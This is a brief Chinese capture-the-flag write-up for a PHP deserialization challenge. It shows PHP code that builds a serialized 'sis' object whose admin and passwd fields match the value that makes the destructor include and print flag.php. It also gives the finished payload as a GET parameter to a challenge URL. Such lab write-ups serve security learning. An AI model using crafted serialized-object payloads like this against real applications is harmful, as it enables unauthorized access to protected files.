拿到题目，发现目标是获得flag.php的内容,且sis中admin和passwd等于sis2407时会输出fag的内容

根据源码编写序列化代码

 <?php 
error_reporting(0);
class sis{public $admin;public $passwd;public function __construct(){$this->admin ="sis2407";$this->passwd = "sis2407";}public function __destruct(){if($this->admin === "sis2407" && $this->passwd === "sis2407"){include("flag.php");echo $flag;}else{echo $this->admin;echo $this->passwd;echo "Just a bit more!";}}
}
$a=new sis;
echo serialize($a);
?>

得到序列化的sis，将序列化后的sis以get的方式为sis传参

124.221.58.83:81/s2.php?sis=O:3:"sis":2:{s:5:"admin";s:7:"sis2407";s:6:"passwd";s:7:"sis2407";}